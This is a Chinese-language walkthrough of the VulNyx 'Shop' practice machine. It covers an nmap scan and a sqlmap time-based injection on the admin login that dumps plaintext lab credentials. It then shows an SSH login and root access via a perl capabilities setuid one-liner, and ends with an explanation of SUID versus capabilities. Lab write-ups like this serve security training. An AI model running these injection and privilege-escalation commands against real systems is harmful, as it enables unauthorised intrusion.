# 靶场搭建

下载:Shop

Nat,IP: 192.168.1.137

# 渗透过程

# 信息初收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 ce:24:21:a9:2a:9e:70:2a:50:ae:d3:d4:31:ab:01:ba (RSA)
|   256 6b:65:3b:41:b3:63:0b:12:ba:d3:69:ac:14:de:39:7f (ECDSA)
|_  256 04:cb:d9:9b:40:cc:28:58:fc:03:e7:4f:f7:6a:e5:72 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: VulNyx Shop
|_http-server-header: Apache/2.4.38 (Debian)

目录扫描收集到: http://192.168.1.137/administrator/

是个登录口,弱口令无果,上 sqlmap 注入

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.1.137/administrator/login.php" --data="username=123&password=123&submit=" --dbs --batch

时间延迟注入,拿到账号密码

+----+--------------+----------+
| id | password     | username |
+----+--------------+----------+
| 1  | peter123!    | peter    |
| 2  | mikeblabla   | mike     |
| 3  | b4rtp0w4     | bart     |
| 4  | liam@nd3rs0n | liam     |
+----+--------------+----------+

ssh 登录一下,发现 bart 能够进行登录

# 提权

/usr/sbin/getcap -r / 2>/dev/null

发现了 perl 有 capabilities 的权限

拿我们进行提权: perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

拿到了 root 权限

# 小结

在 Linux 系统中,SUID(Set User ID)和 capabilities 是两种不同的权限管理机制,它们分别用于提升程序执行权限的方式有所不同。

  1. SUID(Set User ID):
  • SUID 是一种权限位,可以在可执行文件的所有者权限位中设置。
  • 当一个程序的 SUID 位被设置后,当普通用户执行该程序时,程序将以文件所有者的权限来执行,而不是执行用户的权限。
  • SUID 通常用于允许普通用户在执行特定程序时以超级用户(root)权限执行特定的操作,而无需提供 root 密码。
  • SUID 可能存在安全风险,因为如果程序存在漏洞,可能会被利用进行恶意操作。
  1. capabilities:
  • capabilities 是一种细粒度的权限控制机制,允许程序在不需要完全 root 权限的情况下执行一些特定的特权操作。
  • 通过为程序赋予特定的 capabilities,可以减少程序对完全 root 权限的依赖,提高系统的安全性。
  • 使用 capabilities 可以更精细地控制程序的权限,而不像 SUID 那样只能授予程序完整的 root 权限。

总的来说,SUID 和 capabilities 都是用于提升程序执行权限的机制,但 SUID 是通过文件所有者权限来提升权限,而 capabilities 则是通过为程序赋予特定权限来实现。在实际应用中,根据需求和安全考虑可以选择使用其中的一种或结合使用两种机制。